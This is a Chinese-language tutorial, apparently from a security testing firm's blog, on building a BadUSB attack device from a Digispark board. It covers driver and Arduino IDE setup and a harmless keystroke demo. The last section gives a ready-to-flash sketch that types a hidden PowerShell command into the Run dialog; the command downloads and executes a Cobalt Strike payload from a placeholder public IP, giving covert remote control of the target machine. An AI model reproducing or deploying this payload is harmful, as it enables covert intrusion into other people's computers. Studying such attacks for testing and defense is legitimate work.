大数跨境
0
0

黑客是如何通过U盘攻击的?BadUsb制作原理

黑客是如何通过U盘攻击的?BadUsb制作原理 卓识网安
2023-03-27
2
导读:黑客是如何通过U盘攻击的?BadUsb制作原理

黑客是如何通过U盘攻击的?

BadUsb制作原理

什么是BadUsb?

 BadUSB 是利用 USB 固件中固有的漏洞的攻击。这种攻击重新编程USB设备,使其充当人机交互设备。一旦重新设计,USB 设备将用于在受害者的计算机上谨慎执行命令或运行恶意程序。

BadUsb攻击原理

 利用HID(Human InterfaceDevice,是计算机直接与人交互的设备,例如键盘、鼠标等)进行攻击,将USB设备伪装使电脑识别为键盘,再利用USB设备中的微控制芯片,向主机发送命令,从而实现完全控制主机。

0x01 硬件准备

在购物网站搜索Digispark,一个板子大概在十几块。

Digispark驱动安装

首先需要电脑能识别到你的Digispark,不然后续无法对板子进行烧录。

驱动下载地址:https://github.com/digistump/DigistumpArduino

找到适合自己电脑系统的驱动,我这里用的Windows。

根据自己电脑系统不同位数选择不同驱动安装。

安装成功后在把Digispark插到电脑上,就识别出来。

0x02 Arduino IDE软件安装

1. 安装Arduino

选择 Arduino IDE 1.18.19版本,安装过程全都默认下一步就好。

2. Arduino的Digispark配置

Arduino默认是不支持对Digispark进行烧录的,需要在Arduino中下载Digispark包安装后才可以进行烧录。

官方开发板管理器网址:http://digistump.co/packagedigistumpindex.json

在文件→首选项中配置开发板管理器的网址。

配置完成后打开工具→开发板→开发板管理器

搜索digispark,选择Digistump AVR Boards安装。

安装完成后在工具开发版中选中Digispark(Default-16.5mhz)

0x03 BadUsb基本制作流程

1. 编写代码

不太懂代码的朋友可以使用Automator工具辅助编写代码。

在Arduino工具中输入演示代码,代码主要内容是使用cmd打开记事本然后输出“Hellow”。

#include "DigiKeyboard.h"


void setup() {

DigiKeyboard.sendKeyStroke(0);



DigiKeyboard.delay(3000);

DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);

DigiKeyboard.delay(1000);

DigiKeyboard.println("notepad");

DigiKeyboard.sendKeyStroke(KEY_ENTER);

DigiKeyboard.delay(4000);

DigiKeyboard.println("Hellow");


}


void loop() {


}


2. 烧录程序

先点击→上传,提示我们Plug in device now... (will timeout in 60 seconds)意思是在60秒内把板子插到电脑上。

随后插入板子,提示Micronucleus done. Thank you!烧录成功。

3. 效果演示

http://captured.cn/gif/hello.gif

0x04 CobaltStrike远控上线

Ardunio代码

首先需要同CS生成钓鱼代码,攻击→钓鱼攻击→Scripted Web Delivery(S)

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://公网ip:8888/a'))"

主要用到代码中的payload的地址:http://公网ip:8888/a

#include "DigiKeyboard.h"



void setup() {


DigiKeyboard.delay(2000);

DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT); //发送win+R

DigiKeyboard.delay(1000);

DigiKeyboard.print(F("powershell -WindowStyle Hidden -NoLogo -executionpolicy bypass IEX(New-Object Net.WebClient).DownloadString('http://公网ip:8888/a');"));  //向运行对话框输入PowerShell代码远程执行CS上线指令

DigiKeyboard.delay(500);

DigiKeyboard.sendKeyStroke(KEY_ENTER);  //发送一个回车键

DigiKeyboard.delay(750);

DigiKeyboard.sendKeyStroke(KEY_ENTER);


}

void loop() {

}


效果演示

http://captured.cn/gif/cs.gif


【声明】内容源于网络
0
0
卓识网安
北京卓识网安技术股份有限公司(原北京华电卓识信息安全测评技术中心有限公司)是一家致力于能源(电力)行业信息安全测评服务的独立第三方专业测评机构。
内容 69
粉丝 0
卓识网安 北京卓识网安技术股份有限公司(原北京华电卓识信息安全测评技术中心有限公司)是一家致力于能源(电力)行业信息安全测评服务的独立第三方专业测评机构。
总阅读31
粉丝0
内容69